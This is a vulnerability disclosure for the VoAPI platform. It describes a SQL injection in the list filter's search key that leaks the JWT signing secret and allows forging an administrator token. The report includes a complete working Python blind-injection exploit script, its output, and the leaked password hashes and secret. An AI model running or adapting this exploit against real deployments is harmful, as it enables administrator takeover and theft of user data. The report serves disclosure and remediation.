# VoAPI Vulnerability Report Software: VoAPI Developer or vendor: VoAPI Code repository: https://github.com/VoAPI/VoAPI ## 1. SQL Injection in the Generic List Filter Leads to Administrator Takeover (CVE-2026-129540) Brief description: A user can read the JWT signing secret through SQL injection in the list filter and forge a manager identity to take over the platform. Affected versions: 1.0.0 to 1.2.0 Introduced in: [VoAPI commit 4d68e8e5](https://github.com/VoAPI/VoAPI/commit/4d68e8e5a3ce1e03a530cff82943b00703a24f0e). The project is published as closed source, and v1.0.0 is the first affected release. Preconditions: With the default configuration an attacker can register an account; if registration or check-in is closed, a normal account and one log row are required. ### Root Cause The frontend submits the search parameter of a list page as `search[field name]=value`, and the backend concatenates the key into the query as a column name while only the value is parameterized. For `/api/log`, the request is as follows: ``` GET /api/log?page=1&size=10&search[id=999999) or (voapi_fake_col) or (1=2]=1 ``` The resulting SQL is: ```sql SELECT count(*) FROM `log` WHERE uid=2 AND (id=999999) or (voapi_fake_col) or (1=2 = '1') ``` The `)` after `uid=2` closes the prefix condition, `or` introduces a boolean expression supplied by the attacker, and `(1=2 = '1')` is the remainder of the original condition. An attacker can therefore place a subquery in `WHERE` and read the `option` table of the `voapi` database. The `ps_site` row of that table stores the JWT signing secret: ```json {"key":"AxR8jS23YgDh0HX3vwb7"} ``` JWTs are signed with HS256 and carry the following payload: ```json {"userId":2,"sign":"2ad895c75bdbdab46c389cef1e211da6","role":"user","exp":1797425474,"nbf":1794747074,"iat":1794747074} ``` `sign` is the login identifier the user has in Redis, and `role` is the permission claim. The authentication of `/api/m/*` reads `role` from the JWT and does not query the user record in the database. An attacker re-signs the payload with the leaked secret, keeps the own `userId` and `sign`, changes `role` to `manager`, and obtains platform administration rights. The two steps together form a complete path from a normal account to manager. ### Reproduction Environment The test environment uses the official Docker compose deployment: ```bash mkdir voapi && cd voapi curl -O https://raw.githubusercontent.com/VoAPI/VoAPI/main/docker-compose.yml curl -O https://raw.githubusercontent.com/VoAPI/VoAPI/main/config.yml curl -O https://raw.githubusercontent.com/VoAPI/VoAPI/main/init-db.sql mkdir -p data file public docker network create network docker compose up -d ``` After the environment starts, register two accounts. The first account becomes the administrator and the second acts as the attacker. The site listens on port `6800` by default. ### Reproduction Open `http://127.0.0.1:6800`, click Register now, fill in the username, e-mail, password and image captcha, and register a normal account: ![](img/01-register.png) After login the console appears: ![](img/02-dashboard.png) Open Application > Local Storage in the browser developer tools, find `userStore`, and copy the value of `auth.token`: ``` eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInNpZ24iOiIyYWQ4OTVjNzViZGJkYWI0NmMzODljZWYxZTIxMWRhNiIsInJvbGUiOiJ1c2VyIiwiZXhwIjoxNzk3NDI1NDc0LCJuYmYiOjE3OTQ3NDcwNzQsImlhdCI6MTc5NDc0NzA3NH0.QddEF65sFv5R3e7OxiZ1pBlAsFsxRE9vHS6RVuQV254 ``` Open Log data to see the log row created by check-in: ![](img/03-log.png) The script below performs boolean blind injection through the list filter, reads `ps_site.key`, signs a JWT whose `role` is `manager` with that key, and then calls the management API: ```python import json import httpx import jwt BASE = "http://127.0.0.1:6800" TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInNpZ24iOiIyYWQ4OTVjNzViZGJkYWI0NmMzODljZWYxZTIxMWRhNiIsInJvbGUiOiJ1c2VyIiwiZXhwIjoxNzk3NDI1NDc0LCJuYmYiOjE3OTQ3NDcwNzQsImlhdCI6MTc5NDc0NzA3NH0.QddEF65sFv5R3e7OxiZ1pBlAsFsxRE9vHS6RVuQV254" def oracle(c, cond): key = f"id=999999) or ({cond}) or (1=2" r = c.get("/api/log", params={f"search[{key}]": "1"}, headers={"Authorization": TOKEN}) return r.json()["data"]["total"] > 0 def number(c, expr): lo, hi = 0, 4096 while lo < hi: mid = (lo + hi) // 2 if oracle(c, f"({expr})>{mid}"): lo = mid + 1 else: hi = mid return lo def string(c, expr, n): return "".join(chr(number(c, f"ascii(substr(({expr}),{i},1))")) for i in range(1, n + 1)) def main(): c = httpx.Client(base_url=BASE, timeout=20) body = jwt.decode(TOKEN, options={"verify_signature": False}) print(f"[*] low-priv token: userId={body['userId']} role={body['role']} sign={body['sign']}") logs = c.get("/api/log", headers={"Authorization": TOKEN}).json() print(f"[*] own log rows: {logs['data']['total']}") if logs["data"]["total"] == 0: print("[*] no log row yet, creating one via daily check-in") c.post("/api/check_in", headers={"Authorization": TOKEN}) if not (oracle(c, "1=1") and not oracle(c, "1=2")): raise SystemExit("[-] boolean oracle unavailable") print("[+] SQL injection confirmed: GET /api/log?search[]=1") expr = "select json_unquote(json_extract(value,'$.key')) from voapi.option where name='ps_site'" secret = string(c, expr, number(c, f"length(({expr}))")) print(f"[+] extracted ps_site.key (JWT HS256 signing secret) = {secret}") for k in ("exp", "nbf", "iat"): body.pop(k, None) body.update({"role": "manager", "exp": 2000000000, "nbf": 1700000000, "iat": 1700000000}) forged = jwt.encode(body, secret, algorithm="HS256") print(f"[+] forged manager JWT: {forged}") r = c.get("/api/m/user", headers={"Authorization": forged}) print(f"[+] GET /api/m/user ({r.status_code}):") print(r.text) r2 = c.get("/api/m/option/panel/site", headers={"Authorization": forged}) print(f"[+] GET /api/m/option/panel/site ({r2.status_code}):") print(r2.text) print(f"[*] original token still denied: {c.get('/api/m/user', headers={'Authorization': TOKEN}).text[:60]}") if __name__ == "__main__": main() ``` The script output is as follows: ``` [*] low-priv token: userId=2 role=user sign=2ad895c75bdbdab46c389cef1e211da6 [*] own log rows: 0 [*] no log row yet, creating one via daily check-in [+] SQL injection confirmed: GET /api/log?search[]=1 [+] extracted ps_site.key (JWT HS256 signing secret) = AxR8jS23YgDh0HX3vwb7 [+] forged manager JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInNpZ24iOiIyYWQ4OTVjNzViZGJkYWI0NmMzODljZWYxZTIxMWRhNiIsInJvbGUiOiJtYW5hZ2VyIiwiZXhwIjoyMDAwMDAwMDAwLCJuYmYiOjE3MDAwMDAwMDAsImlhdCI6MTcwMDAwMDAwMH0.cimLrpeNReBZ1QUoj94xqLVIp7uzaWbyOfHwVTFknWY [+] GET /api/m/user (200): {"code":0,"data":{"page":1,"size":10,"search":null,"asc":false,"total":2,"pages":1,"records":[{"id":2,"created":1794747074142,"updated":1794747182795,"basicBalance":"0.00000000","bindBalance":"0.11000000","usedBasicBalance":"0.00000000","usedBindBalance":"0.00000000","level":1,"bud":"2121949598250438656","username":"attacker","email":"attacker@voapi.local","nickname":"attacker","currency":"USD","password":"$2a$10$prTU5Erho3Sgj9ZKrUrDB.ByRBnIW7tVnwHz7z/B4Zxl3bK5MRxPW","loginTime":1794747074140,"loginIp":"192.168.176.1","registerIp":"192.168.176.1","role":"user","ban":false,"customAvatar":false,"hasPassword":false},{"id":1,"created":1794747072104,"updated":1794747072104,"basicBalance":"0.00000000","bindBalance":"0.00000000","usedBasicBalance":"0.00000000","usedBindBalance":"0.00000000","level":1,"username":"admin","email":"admin@voapi.local","nickname":"admin","currency":"USD","password":"$2a$10$szl7mT/gP87w3kqR2UX5CeomMOGPdug4w6vsTSXwcZxIwT/K7/Zm6","loginTime":1794747072103,"loginIp":"192.168.176.1","registerIp":"192.168.176.1","role":"manager","ban":false,"customAvatar":false,"hasPassword":false}]}} [+] GET /api/m/option/panel/site (200): {"code":0,"data":{"data":{"batch_up_channel_key_t":3,"batch_up_keys_t":3,"batch_up_user_balance_t":3,"currency_cny":7.1,"key":"AxR8jS23YgDh0HX3vwb7","style_border_radius":10,"style_primary_color":"#7848f1","style_primary_hover_color":"#7148dc","style_primary_low_color":"#ede4fe","style_primary_low_dark_color":"#2b2054","style_primary_pressed_color":"#6836e3","style_primary_suppl_color":"#6836e3"}}} [*] original token still denied: {"code":4,"data":null,"msg":"Not permission"} ``` `/api/m/user` returned every user record, including the password hashes of the administrator and the normal account, and `/api/m/option/panel/site` returned the site configuration whose `key` is the JWT signing secret. An attacker can then read every user, API key, channel and log, modify the site configuration, ban or reset users, and keep signing new manager JWTs. Since a JWT is valid for 31 days by default and the role claim does not follow changes in the database, the attacker keeps the privileges for a long time.